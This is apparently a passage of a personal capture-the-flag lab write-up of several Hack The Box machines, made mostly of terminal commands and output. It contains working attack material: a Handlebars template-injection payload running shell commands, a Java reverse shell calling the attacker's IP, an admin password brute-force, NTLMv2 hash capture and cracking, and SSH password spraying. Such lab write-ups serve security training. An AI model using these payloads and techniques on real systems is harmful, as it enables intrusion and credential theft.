        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
8
         \ \_\   \ \_\  \ \____/  \ \_\
9
          \/_/    \/_/   \/___/    \/_/
10

11
       v2.1.0-dev
12
________________________________________________
13

14
 :: Method           : GET
15
 :: URL              : http://ignition.htb/FUZZ
16
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
17
 :: Follow redirects : false
18
 :: Calibration      : false
19
 :: Timeout          : 10
20
 :: Threads          : 40
21
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
22
________________________________________________
23

24
#                       [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 81ms]
25
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 105ms]
26
# Priority ordered case sensative list, where entries were found  [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 201ms]
27
# directory-list-2.3-small.txt [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 214ms]
28
# Copyright 2007 James Fisher [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 215ms]
29
                        [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 370ms]
30
home                    [Status: 200, Size: 25802, Words: 5441, Lines: 426, Duration: 578ms]
31
# on atleast 3 different hosts [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 578ms]
32
#                       [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 597ms]
33
# Attribution-Share Alike 3.0 License. To view a copy of this  [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 612ms]
34
#                       [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 716ms]
35
# This work is licensed under the Creative Commons  [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 730ms]
36
# license, visit http://creativecommons.org/licenses/by-sa/3.0/  [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 753ms]
37
# or send a letter to Creative Commons, 171 Second Street,  [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 1740ms]
38
#                       [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 1741ms]
39
contact                 [Status: 200, Size: 28673, Words: 6592, Lines: 504, Duration: 1743ms]
40
media                   [Status: 301, Size: 185, Words: 6, Lines: 8, Duration: 9ms]
41
0                       [Status: 200, Size: 25803, Words: 5441, Lines: 426, Duration: 2165ms]
42
static                  [Status: 301, Size: 185, Words: 6, Lines: 8, Duration: 7ms]
43
catalog                 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 3995ms]
44
admin                   [Status: 200, Size: 7095, Words: 1551, Lines: 149, Duration: 4396ms]
45
Home                    [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 7861ms]

1
ffuf -w /path/to/wordlist.txt -X POST -d "form_key=wjENJFWRU4E83jBH&login[username]=admin&login[password]=FUZZ" -u http://ignition.htb/admin -H "Host: ignition.htb" -H "Content-Length: 80" -H "Cache-Control: max-age=0" -H "Upgrade-Insecure-Requests: 1" -H "Origin: http://ignition.htb" -H "Content-Type: application/x-www-form-urlencoded" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" -H "Referer: http://ignition.htb/admin" -H "Accept-Encoding: gzip, deflate, br" -H "Accept-Language: en-US,en;q=0.9" -H "Cookie: admin=be94dd2hm2iejfngbfbffs6ed5" -H "Connection: close"
2

3

4
Password = qwerty123 302 [found]

1
┌─[tusoaring@htb-qfqoa89dyz]─[~]
2
└──╼ $nmap -sC -sV -Pn 10.129.60.80
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-04 23:34 CDT
4
Nmap scan report for 10.129.60.80
5
Host is up (0.0093s latency).
6
Not shown: 998 closed tcp ports (reset)
7
PORT   STATE SERVICE VERSION
8
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
9
| ssh-hostkey:
10
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
11
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
12
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
13
80/tcp open  http    Node.js (Express middleware)
14
|_http-title:  Bike
15
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
16

17
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
18
Nmap done: 1 IP address (1 host up) scanned in 8.02 seconds

1
Error: Parse error on line 1:
2
{{7*7}}
3
--^
4
Expecting 'ID', 'STRING', 'NUMBER', 'BOOLEAN', 'UNDEFINED', 'NULL', 'DATA', got 'INVALID'
5
    at Parser.parseError (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:268:19)
6
    at Parser.parse (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:337:30)
7
    at HandlebarsEnvironment.parse (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/base.js:46:43)
8
    at compileInput (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:515:19)
9
    at ret (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:524:18)
10
    at router.post (/root/Backend/routes/handlers.js:14:16)
11
    at Layer.handle [as handle_request] (/root/Backend/node_modules/express/lib/router/layer.js:95:5)
12
    at next (/root/Backend/node_modules/express/lib/router/route.js:137:13)
13
    at Route.dispatch (/root/Backend/node_modules/express/lib/router/route.js:112:3)
14
    at Layer.handle [as handle_request] (/root/Backend/node_modules/express/lib/router/layer.js:95:5)

1
ReferenceError: require is not defined
2
    at Function.eval (eval at <anonymous> (eval at createFunctionContext (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js:254:23)), <anonymous>:3:1)
3
    at Function.<anonymous> (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/helpers/with.js:10:25)
4
    at eval (eval at createFunctionContext (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js:254:23), <anonymous>:5:37)
5
    at prog (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/runtime.js:221:12)
6
    at execIteration (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/helpers/each.js:51:19)
7
    at Array.<anonymous> (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/helpers/each.js:61:13)
8
    at eval (eval at createFunctionContext (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js:254:23), <anonymous>:12:31)
9
    at prog (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/runtime.js:221:12)
10
    at Array.<anonymous> (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/helpers/with.js:22:14)
11
    at eval (eval at createFunctionContext (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js:254:23), <anonymous>:12:34)

1
{{#with "s" as |string|}}
2
  {{#with "e"}}
3
    {{#with split as |conslist|}}
4
      {{this.pop}}
5
      {{this.push (lookup string.sub "constructor")}}
6
      {{this.pop}}
7
      {{#with string.split as |codelist|}}
8
        {{this.pop}}
9
        {{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}
10
        {{this.pop}}
11
        {{#each conslist}}
12
          {{#with (string.sub.apply 0 codelist)}}
13
            {{this}}
14
          {{/with}}
15
        {{/each}}
16
      {{/with}}
17
    {{/with}}
18
  {{/with}}
19
{{/with}}

1
6b258d726d287462d60c103d0142a81c

1
┌─[✗]─[tusoaring@htb-gkoyfeatio]─[~]
2
└──╼ $nmap -sC -sV -Pn -p- -T4 10.129.163.207
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-05 14:48 CDT
4
Nmap scan report for 10.129.163.207
5
Host is up (0.0091s latency).
6
Not shown: 65534 closed tcp ports (reset)
7
PORT     STATE SERVICE VERSION
8
8080/tcp open  http    Jetty 9.4.39.v20210325
9
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
10
|_http-server-header: Jetty(9.4.39.v20210325)
11
| http-robots.txt: 1 disallowed entry
12
|_/
13

14
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
15
Nmap done: 1 IP address (1 host up) scanned in 17.18 seconds

1
String host="localhost";
2
int port=1337;
3
String cmd="/bin/bash";
4
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

1
┌─[tusoaring@htb-gkoyfeatio]─[~]
2
└──╼ $ip a
3
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
4
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
5
    inet 127.0.0.1/8 scope host lo
6
       valid_lft forever preferred_lft forever
7
    inet6 ::1/128 scope host noprefixroute
8
       valid_lft forever preferred_lft forever
9
2: ens3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
10
    link/ether a6:ba:3b:08:30:84 brd ff:ff:ff:ff:ff:ff
11
    altname enp0s3
12
    inet 209.151.153.201/22 brd 209.151.155.255 scope global dynamic ens3
13
       valid_lft 82702sec preferred_lft 82702sec
14
    inet6 fe80::a4ba:3bff:fe08:3084/64 scope link
15
       valid_lft forever preferred_lft forever
16
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
17
    link/none
18
    inet 10.10.15.22/23 scope global tun0
19
       valid_lft forever preferred_lft forever
20
    inet6 dead:beef:2::1114/64 scope global
21
       valid_lft forever preferred_lft forever
22
    inet6 fe80::d13f:45c0:bde6:1c0/64 scope link stable-privacy
23
       valid_lft forever preferred_lft forever

1
String host="10.10.15.22";
2
int port=1337;
3
String cmd="/bin/bash";
4
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

1
nc -lnvp 1337

1
ls /root
2
flag.txt
3
snap
4
cat /root/flag.txt
5
9cdfb439c7876e703e307864c9167a15

1
┌─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
2
└──╼ $nmap -sC -sV -Pn -p- -T4 10.129.249.57
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-08 00:58 CDT
4
Nmap scan report for unika.htb (10.129.249.57)
5
Host is up (0.017s latency).
6
Not shown: 65533 filtered tcp ports (no-response)
7
PORT     STATE SERVICE VERSION
8
80/tcp   open  http    Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
9
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
10
|_http-title: Unika
11
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
12
|_http-server-header: Microsoft-HTTPAPI/2.0
13
|_http-title: Not Found
14
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
15

16
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
17
Nmap done: 1 IP address (1 host up) scanned in 185.46 seconds

1
┌─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
2
└──╼ $cat /etc/hosts
3
127.0.0.1  localhost
4
127.0.1.1  debian12-parrot
5

6
# The following lines are desirable for IPv6 capable hosts
7
::1     localhost ip6-localhost ip6-loopback
8
ff02::1 ip6-allnodes
9
ff02::2 ip6-allrouters
10
127.0.0.1 localhost
11
127.0.1.1 htb-mcyhu7xtvf htb-mcyhu7xtvf.htb-cloud.com
12
10.129.249.57 unika.htb

1
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
2
    link/none
3
    inet 10.10.14.118/23 scope global tun0
4
       valid_lft forever preferred_lft forever
5
    inet6 dead:beef:2::1074/64 scope global
6
       valid_lft forever preferred_lft forever
7
    inet6 fe80::75ce:8c81:8c27:80cd/64 scope link stable-privacy
8
       valid_lft forever preferred_lft forever

1
┌─[tusoaring@htb-mcyhu7xtvf]─[~]
2
└──╼ $sudo responder -I tun0 -v
3
                                         __
4
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
5
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
6
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
7
                   |__|
8

9
           NBT-NS, LLMNR & MDNS Responder 3.1.3.0
10

11
  To support this project:
12
  Patreon -> https://www.patreon.com/PythonResponder
13
  Paypal  -> https://paypal.me/PythonResponder
14

15
  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
16
  To kill this script hit CTRL-C
17

18

19
[+] Poisoners:
20
    LLMNR                      [ON]
21
    NBT-NS                     [ON]
22
    MDNS                       [ON]
23
    DNS                        [ON]
24
    DHCP                       [OFF]
25

26
[+] Servers:
27
    HTTP server                [OFF]
28
    HTTPS server               [OFF]
29
    WPAD proxy                 [OFF]
30
    Auth proxy                 [OFF]
31
    SMB server                 [ON]
32
    Kerberos server            [ON]
33
    SQL server                 [ON]
34
    FTP server                 [ON]
35
    IMAP server                [ON]
36
    POP3 server                [ON]
37
    SMTP server                [ON]
38
    DNS server                 [ON]
39
    LDAP server                [ON]
40
    RDP server                 [ON]
41
    DCE-RPC server             [ON]
42
    WinRM server               [ON]
43

44
[+] HTTP Options:
45
    Always serving EXE         [OFF]
46
    Serving EXE                [OFF]
47
    Serving HTML               [OFF]
48
    Upstream Proxy             [OFF]
49

50
[+] Poisoning Options:
51
    Analyze Mode               [OFF]
52
    Force WPAD auth            [OFF]
53
    Force Basic Auth           [OFF]
54
    Force LM downgrade         [OFF]
55
    Force ESS downgrade        [OFF]
56

57
[+] Generic Options:
58
    Responder NIC              [tun0]
59
    Responder IP               [10.10.14.118]
60
    Responder IPv6             [dead:beef:2::1074]
61
    Challenge set              [random]
62
    Don't Respond To Names     ['ISATAP']
63

64
[+] Current Session Variables:
65
    Responder Machine Name     [WIN-SA20U1ALR4U]
66
    Responder Domain Name      [6J4S.LOCAL]
67
    Responder DCE-RPC Port     [47487]
68

69
[+] Listening for events...

1
┌─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
2
└──╼ $cat crackme.txt
3
Administrator::RESPONDER:11664cfb5bf8e620:8986474E950FCAC1E176EE5662C65038:01010000000000008096D986D1D0DA0148455363CDE03A720000000002000800580037005400440001001E00570049004E002D004600320048003500310053004800570036004400320004003400570049004E002D00460032004800350031005300480057003600440032002E0058003700540044002E004C004F00430041004C000300140058003700540044002E004C004F00430041004C000500140058003700540044002E004C004F00430041004C00070008008096D986D1D0DA0106000400020000000800300030000000000000000100000000200000BE59609986332FCCF305DB7549ED9FEEEDDE960B1BE3AE3EEF18FB50FC28681D0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100310038000000000000000000

1
┌─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
2
└──╼ $john --wordlist=/usr/share/wordlists/rockyou.txt crackme.txt
3
Using default input encoding: UTF-8
4
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
5
Will run 4 OpenMP threads
6
Press 'q' or Ctrl-C to abort, almost any other key for status
7
badminton        (Administrator)
8
1g 0:00:00:00 DONE (2024-07-08 01:27) 33.33g/s 136533p/s 136533c/s 136533C/s slimshady..oooooo
9
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
10
Session completed.

1
┌─[✗]─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
2
└──╼ $evil-winrm -i 10.129.249.57 -u Administrator -p badminton
3

4
Evil-WinRM shell v3.5
5

6
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
7

8
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
9

10
Info: Establishing connection to remote endpoint
11
*Evil-WinRM* PS C:\Users\Administrator\Documents>

1
*Evil-WinRM* PS C:\Users\mike\Desktop> cat flag.txt
2
ea81b7afddd03efaa0945333ed147fac

1
┌─[✗]─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
2
└──╼ $nmap -sC -sV -Pn -T4 -p- 10.129.143.166
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-08 04:59 CDT
4
Nmap scan report for 10.129.143.166
5
Host is up (0.0088s latency).
6
Not shown: 65532 filtered tcp ports (no-response)
7
PORT    STATE SERVICE       VERSION
8
135/tcp open  msrpc         Microsoft Windows RPC
9
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
10
445/tcp open  microsoft-ds?
11
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
12

13
Host script results:
14
| smb2-time:
15
|   date: 2024-07-08T10:03:28
16
|_  start_date: N/A
17
| smb2-security-mode:
18
|   3:1:1:
19
|_    Message signing enabled but not required
20

21
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
22
Nmap done: 1 IP address (1 host up) scanned in 257.16 seconds

1
┌─[✗]─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
2
└──╼ $smbclient -L 10.129.143.166 -U administrator
3
Password for [WORKGROUP\administrator]:
4

5
  Sharename       Type      Comment
6
  ---------       ----      -------
7
  ADMIN$          Disk      Remote Admin
8
  C$              Disk      Default share
9
  IPC$            IPC       Remote IPC
10
Reconnecting with SMB1 for workgroup listing.
11
do_connect: Connection to 10.129.143.166 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
12
Unable to connect with SMB1 -- no workgroup available

1
┌─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
2
└──╼ $smbmap -H 10.129.143.166 -u Administrator
3
[+] IP: 10.129.143.166:445  Name: 10.129.143.166
4
        Disk                                                    Permissions  Comment
5
  ----                                                    -----------  -------
6
  ADMIN$                                              READ, WRITE  Remote Admin
7
  C$                                                  READ, WRITE  Default share
8
  IPC$                                                READ ONLY  Remote IPC

1
┌─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
2
└──╼ $smbclient -U administrator \\\\10.129.143.166/C$
3
Password for [WORKGROUP\administrator]:
4
Try "help" to get a list of possible commands.
5
smb: \>

1
┌─[tusoaring@htb-mcyhu7xtvf]─[~/Desktop/crack]
2
└──╼ $impacket-psexec Administrator@10.129.143.166
3
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
4

5
Password:
6
[*] Requesting shares on 10.129.143.166.....
7
[*] Found writable share ADMIN$
8
[*] Uploading file IQUuxrgv.exe
9
[*] Opening SVCManager on 10.129.143.166.....
10
[*] Creating service AdtA on 10.129.143.166.....
11
[*] Starting service AdtA.....
12
[!] Press help for extra shell commands
13
Microsoft Windows [Version 10.0.17763.107]
14
(c) 2018 Microsoft Corporation. All rights reserved.
15

16
C:\Windows\system32>

1
┌─[tusoaring@htb-oztamikw6o]─[~/Desktop]
2
└──╼ $nmap -sC -sV -Pn -p- -T4 10.129.228.195
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-09 08:02 CDT
4
Nmap scan report for 10.129.228.195
5
Host is up (0.0082s latency).
6
Not shown: 65533 closed tcp ports (reset)
7
PORT   STATE SERVICE VERSION
8
21/tcp open  ftp     vsftpd 3.0.3
9
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
10
|_drwxr-xr-x    2 ftp      ftp          4096 Nov 28  2022 mail_backup
11
| ftp-syst:
12
|   STAT:
13
| FTP server status:
14
|      Connected to ::ffff:10.10.14.118
15
|      Logged in as ftp
16
|      TYPE: ASCII
17
|      No session bandwidth limit
18
|      Session timeout in seconds is 300
19
|      Control connection is plain text
20
|      Data connections will be plain text
21
|      At session startup, client count was 1
22
|      vsFTPd 3.0.3 - secure, fast, stable
23
|_End of status
24
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
25
| ssh-hostkey:
26
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
27
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
28
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
29
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
30

31
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
32
Nmap done: 1 IP address (1 host up) scanned in 8.99 seconds

1
┌─[✗]─[tusoaring@htb-oztamikw6o]─[~/Desktop]
2
└──╼ $ftp 10.129.228.195
3
Connected to 10.129.228.195.
4
220 (vsFTPd 3.0.3)
5
Name (10.129.228.195:root): anonymous
6
331 Please specify the password.
7
Password:
8
230 Login successful.
9
Remote system type is UNIX.
10
Using binary mode to transfer files.
11
ftp> ls
12
229 Entering Extended Passive Mode (|||43585|)
13
150 Here comes the directory listing.
14
drwxr-xr-x    2 ftp      ftp          4096 Nov 28  2022 mail_backup
15
226 Directory send OK.
16
ftp> cd mail_backup
17
250 Directory successfully changed.
18
ftp> ls
19
229 Entering Extended Passive Mode (|||35204|)
20
150 Here comes the directory listing.
21
-rw-r--r--    1 ftp      ftp         58899 Nov 28  2022 password_policy.pdf
22
-rw-r--r--    1 ftp      ftp           713 Nov 28  2022 welcome_28112022
23
226 Directory send OK.
24
ftp> get password_policy.pdf
25
local: password_policy.pdf remote: password_policy.pdf
26
229 Entering Extended Passive Mode (|||15526|)
27
150 Opening BINARY mode data connection for password_policy.pdf (58899 bytes).
28
100% |***********************************| 58899        3.38 MiB/s    00:00 ETA
29
226 Transfer complete.
30
58899 bytes received in 00:00 (2.24 MiB/s)
31
ftp> get welcome_28112022
32
local: welcome_28112022 remote: welcome_28112022
33
229 Entering Extended Passive Mode (|||36486|)
34
150 Opening BINARY mode data connection for welcome_28112022 (713 bytes).
35
100% |***********************************|   713       12.14 MiB/s    00:00 ETA
36
226 Transfer complete.
37
713 bytes received in 00:00 (77.39 KiB/s)

1
┌─[tusoaring@htb-oztamikw6o]─[~/Desktop]
2
└──╼ $hydra -L user.txt -p 'funnel123#!#' 10.129.228.195 ssh
3
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
4

5
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-07-09 08:09:58
6
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
7
[DATA] max 5 tasks per 1 server, overall 5 tasks, 5 login tries (l:5/p:1), ~1 try per task
8
[DATA] attacking ssh://10.129.228.195:22/
9
[22][ssh] host: 10.129.228.195   login: christine   password: funnel123#!#
10
1 of 1 target successfully completed, 1 valid password found
11
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-07-09 08:10:02

1
1. 本地端口轉發
2
使用本地端口转发，则在现有的有效SSH会话中创建一个单独的隧道，该隧道将网络流量从客户端机器的本地端口转发到远程服务器的端口。在底层，SSH在给定端口的客户机上分配一个套接字侦听器，当连接到该端口时，该连接将通过现有的SSH会话转发到远程服务器的端口 。
3

4
2. 遠程端口轉發
5
也称为反向隧道挖掘，它是与本地端口转发隧道完全相反。SSH连接成功，创建一个单独的隧道，SSH使用该隧道将到服务器端口的传入流量重定向回客户端 。
6
 在底层，SSH在给定端口的服务器上分配一个套接字侦听器。当连接到该端口时，该连接将通过现有的SSH会话转发到本地客户端的端口。
7

8
3. 動態端口轉發
9

10
与本地和远程都有转发，在隧道创建之前必须定义本地端口和远程端口。动态隧道允许用户指定一个将从客户端动态地将传入的流量转发到服务器的端口。因此，在内部发生的事情是，SSH变成了一个SOCKS5代理，通过SOCKET5代理服务器在客户端和服务器之间交换网络数据包。

1
christine@funnel:~$ ss -tl
2
State   Recv-Q  Send-Q   Local Address:Port         Peer Address:Port  Process
3
LISTEN  0       4096         127.0.0.1:36209             0.0.0.0:*
4
LISTEN  0       4096     127.0.0.53%lo:domain            0.0.0.0:*
5
LISTEN  0       128            0.0.0.0:ssh               0.0.0.0:*
6
LISTEN  0       4096         127.0.0.1:postgresql        0.0.0.0:*
7
LISTEN  0       32                   *:ftp                     *:*
8
LISTEN  0       128               [::]:ssh                  [::]:*
9
christine@funnel:~$ ss -tln
10
State   Recv-Q   Send-Q     Local Address:Port      Peer Address:Port  Process
11
LISTEN  0        4096           127.0.0.1:36209          0.0.0.0:*
12
LISTEN  0        4096       127.0.0.53%lo:53             0.0.0.0:*
13
LISTEN  0        128              0.0.0.0:22             0.0.0.0:*
14
LISTEN  0        4096           127.0.0.1:5432           0.0.0.0:*
15
LISTEN  0        32                     *:21                   *:*
16
LISTEN  0        128                 [::]:22                [::]:*

1
christine@funnel:~$ psql
2

3
Command 'psql' not found, but can be installed with:
4

5
apt install postgresql-client-common
6
Please ask your administrator.
7

8
christine@funnel:~$ sudo apt install postgresql-client-common
9
[sudo] password for christine:
10
christine is not in the sudoers file.  This incident will be reported.

1
┌─[tusoaring@htb-oztamikw6o]─[~/Desktop]
2
└──╼ $ssh -L 6969:localhost:5432 christine@10.129.228.195

1
┌─[tusoaring@htb-oztamikw6o]─[~/Desktop]
2
└──╼ $ssh -L {本機對外開的IP隧道}:localhost:{靶機要給我們連的IP} christine@10.129.228.195

1
┌─[✗]─[tusoaring@htb-oztamikw6o]─[~/Desktop]
2
└──╼ $psql -h localhost -p 6969 -U christine
3
Password for user christine:
4
psql (15.7 (Debian 15.7-0+deb12u1), server 15.1 (Debian 15.1-1.pgdg110+1))
5
Type "help" for help.
6

7
christine=#

1
   Name    |   Owner   | Encoding |  Collate   |   Ctype    | ICU Locale | Locale Provider |    Access privileges
2
-----------+-----------+----------+------------+------------+------------+-----------------+-------------------------
3
 christine | christine | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            |
4
 postgres  | christine | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            |
5
 secrets   | christine | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            |
6
 template0 | christine | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | =c/christine           +
7
           |           |          |            |            |            |                 | christine=CTc/christine
8
 template1 | christine | UTF8     | en_US.utf8 | en_US.utf8 |            | libc            | =c/christine           +
9
           |           |          |            |            |            |                 | christine=CTc/christine

1
christine=# \c secrets
2
psql (15.7 (Debian 15.7-0+deb12u1), server 15.1 (Debian 15.1-1.pgdg110+1))
3
You are now connected to database "secrets" as user "christine".
4
secrets=#

1
secrets=# \z
2
                            Access privileges
3
 Schema | Name | Type  | Access privileges | Column privileges | Policies
4
--------+------+-------+-------------------+-------------------+----------
5
 public | flag | table |                   |                   |
6
(1 row)

1
secrets=# SELECT * FROM flag;
2
              value
3
----------------------------------
4
 cf277664b1771217d7006acdea006db1
5
(1 row)

1
┌─[us-starting-point-1-dhcp]─[10.10.14.108]─[tusoaring@htb-hnffyunubj]─[~/Desktop]
2
└──╼ [★]$ nmap -sC -sV -Pn -p- -T4 10.129.156.40
3
Nmap scan report for 10.129.156.40
4
Host is up (0.0080s latency).
5
Not shown: 65306 closed tcp ports (reset), 218 filtered tcp ports (no-response)
6
PORT      STATE SERVICE      VERSION
7
135/tcp   open  msrpc        Microsoft Windows RPC
8
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
9
445/tcp   open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
10
1433/tcp  open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
11
| ms-sql-ntlm-info:
12
|   10.129.156.40:1433:
13
|     Target_Name: ARCHETYPE
14
|     NetBIOS_Domain_Name: ARCHETYPE
15
|     NetBIOS_Computer_Name: ARCHETYPE
16
|     DNS_Domain_Name: Archetype
17
|     DNS_Computer_Name: Archetype
18
|_    Product_Version: 10.0.17763
19
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
20
| Not valid before: 2024-07-10T14:43:14
21
|_Not valid after:  2054-07-10T14:43:14
22
|_ssl-date: 2024-07-10T14:51:42+00:00; 0s from scanner time.
23
| ms-sql-info:
24
|   10.129.156.40:1433:
25
|     Version:
26
|       name: Microsoft SQL Server 2017 RTM
27
|       number: 14.00.1000.00
28
|       Product: Microsoft SQL Server 2017
29
|       Service pack level: RTM
30
|       Post-SP patches applied: false
31
|_    TCP port: 1433
32
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
33
|_http-server-header: Microsoft-HTTPAPI/2.0
34
|_http-title: Not Found
35
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
36
|_http-server-header: Microsoft-HTTPAPI/2.0
37
|_http-title: Not Found
38
49664/tcp open  unknown
39
49665/tcp open  unknown
40
